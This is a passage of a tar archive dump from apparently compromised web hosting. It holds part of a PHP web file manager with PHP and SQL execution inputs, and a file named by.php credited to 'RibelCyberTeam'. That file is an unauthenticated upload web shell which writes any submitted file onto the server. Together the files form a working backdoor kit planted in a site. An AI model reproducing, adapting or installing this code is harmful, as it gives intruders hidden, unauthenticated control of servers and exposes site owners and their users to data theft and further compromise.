$_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').'
('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a
href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'"
title="' . __('Edit') .
'">'.basename($filename).'</a>&nbsp;
&nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	}
elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file']))
{
        if(!$fp=@fopen($path .
$_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').'
'.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
		.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'. $destination.'" >'.__('Delete') .
'</a>';
		else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file =
str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').'
"'.__('Decompress').' '.$source.'"
'.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').'
"'.__('Archiving').'
'.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').'
'. $destination)
			.'&nbsp;<a
href="'.$url_inc.'&delete='.$destination.'&path='
. $path.'" title="'.__('Delete').'
'.$destination.'"
>'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no
files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File
manager')?><?=(!empty($path)?' -
'.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2"
class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text" name="dirname"
size="15">
				<input type="submit" name="mkdir"
value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post"
action="<?=$url_inc?>">
				<input type="hidden" name="path"    
value="<?=$path?>" />
				<input type="text"   name="filename"
size="15">
				<input type="submit" name="mkfile"  
value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post"
action="<?=$url_inc?>"
style="display:inline">
				<input type="hidden" name="path"
value="<?=$path?>" />
				<input type="text"
placeholder="<?=__('Recursive search')?>"
name="search_recursive"
value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>"
size="15">
				<input type="text" name="mask"
placeholder="<?=__('Mask')?>"
value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>"
size="5">
				<input type="submit" name="search"
value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post"
action="<?=$url_inc?>"
enctype="multipart/form-data">
			<input type="hidden" name="path"
value="<?=$path?>" />
			<input type="file" name="upload"
id="upload_hidden" style="position: absolute; display:
block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;"
onchange="document.getElementById('upload_visible').value =
this.value;" />
			<input type="text" readonly="1"
id="upload_visible" placeholder="<?=__('Select the
file')?>" style="cursor: pointer;"
onclick="document.getElementById('upload_hidden').click();"
/>
			<input type="submit" name="test"
value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action=""
method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden"
value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit"
value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0'
cellspacing='1' cellpadding='1' id="fm_table"
width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap">
<?=__('Filename')?> </th>
    <th style="white-space:nowrap">
<?=__('Size')?> </th>
    <th style="white-space:nowrap">
<?=__('Date')?> </th>
    <th style="white-space:nowrap">
<?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap">
<?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if
(!empty($fm_config['show_dir_size'])&&!fm_root($file))
$filedata[7] = fm_dir_size($filename);
        $link = '<a
href="'.$url_inc.'&path='.$path.$file.'"
title="'.__('Show').'
'.$file.'"><span
class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' :
fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').'
'. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' :
fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert =
'onClick="if(confirm(\'' . __('Are you sure you
want to delete this directory (recursively)?').'\n /'.
$file. '\')) document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto =
screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\'
+ lefto +
\',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return
false;"
href="'.fm_img_link($filename).'"><span
class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' .
$file . '&path=' . $path. '" title="' .
__('Edit') . '"><span
class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span>
'.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink = 
fm_link('download',$filename,__('Download'),__('Download').'
'. $file);
		$arlink =
in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' :
fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').'
'. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'' . $url_inc .
'&delete=' . $file . '&path=' . $path  .
'\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a
href="#" title="' . __('Delete') . '
'. $file . '" ' . $alert . '>' .
__('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a
href="' . $url_inc . '&rename=' . $file .
'&path=' . $path . '" title="' .
__('Rename') .' '. $file . '">' .
__('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ?
'' : '<a href="' . $url_inc .
'&rights=' . $file . '&path=' . $path .
'" title="' . __('Rights') .' '.
$file . '">' . @fm_rights_string($filename) .
'</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d
H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a
href="https://github.com/Den1xxx/Filemanager">Github</a>
 | <a
href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP
'.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' |
'.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' |
'.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a
href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a
href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo
' | <a href="javascript: void(0)" onclick="var obj =
new table2Excel();
obj.CreateExcelSheet(\'fm_table\',\'export\');"
title="'.__('Download').'
xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a
href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href',
'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),
c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2
- 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 :
0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1
<= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e +=
c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0,
b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b
&& (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if
gte mso
9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta
http-equiv="content-type" content="text/plain;
charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span>
/g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {//
If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) &&
is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return
$this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name,
$this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').'
'.$this->archive_name.__(' to
').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp',
'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp
'.__('is not readable');
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp',
$this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to
').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName,
-3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName,
'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not
readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.':
<br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is
incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is
incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').':
'.__('Directory ').$filename.__('is not
readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/'
&& substr($path, 0, 3) != '../' && !strpos($path,
':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long
header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0,
strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/')
$header['filename'] = $path.$header['filename'];
				else $header['filename'] =
$path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) &&
($header['typeflag'] == '')){
					$this->errors[] =__('File
').$header['filename'].__(' already
exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) &&
($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'.
'.__('File ').$header['filename'].__('
already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] ==
'5' ? $header['filename'] :
dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').'
'.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').'
'.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'],
'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').'
'.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) !=
$header['size']) {
					$this->errors[] = __('Size of file').'
'.$header['filename'].' '.__('is
incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) ==
$header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/')
&& ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and
(!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').'
'.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').':
'.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i,
1));

		$unpack_data =
unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
$binaryData);

		$header['checksum'] =
OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0))
	return true;
			$this->errors[] = __('Error checksum for file
').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag'])
== '5')	$header['size'] = 0;
		$header['filename'] =
trim($unpack_data['filename']);
		$header['mode'] =
OctDec(trim($unpack_data['mode']));
		$header['user_id'] =
OctDec(trim($unpack_data['user_id']));
		$header['group_id'] =
OctDec(trim($unpack_data['group_id']));
		$header['size'] =
OctDec(trim($unpack_data['size']));
		$header['time'] =
OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0,
sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '',
'', '', '', '', '',
'', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' '
(space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) !=
''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ',
DecOct(fileperms($filename))), sprintf('%6s ',
DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])),
$size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '',
'', '', '', '', '',
'', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i,
1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum +=
ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
			}
		} else $result = '';
		
		return $result;
	}
}
?>by.php000064400000013321151167306020005670 0ustar00<?php

//Create By Mr.7Mind & Imammrtdho
//Credits By ribelcyberteam@gmail.com
//Tele @RibelCyberTeam
//No Rename Please

ini_set('upload_max_filesize', '100M');
ini_set('post_max_size', '100M');

$status = "Error Masse";
$cwd = getcwd();
$leader = $_FILES["ribel"]['size'];
$imam = $_FILES["ribel"]['type'];
$ribel = $_FILES["ribel"]['name'];
$status = "";

if ($ribel != "") {
    $cyber = $ribel;
    if (copy($_FILES['ribel']['tmp_name'], $cyber)) {
        $status = "File Berhasil Diupload Masse: <br>" .
$cwd . "/" . $ribel;
    } else {
        $status = "Terjadi Kesalahan Saat Mengupload File Masse";
    }
} else {
    $status = "Silahkan Pilih Filenya Dulu Masse";
}
echo $status;
?>

<html>
<head>
</head>
<body>
<form action="" method="POST"
enctype="multipart/form-data">
<input type="file" name="ribel">
<input type="submit" name="submit" value="Gass
Masse">
</form>
</body>
</html>
<?php
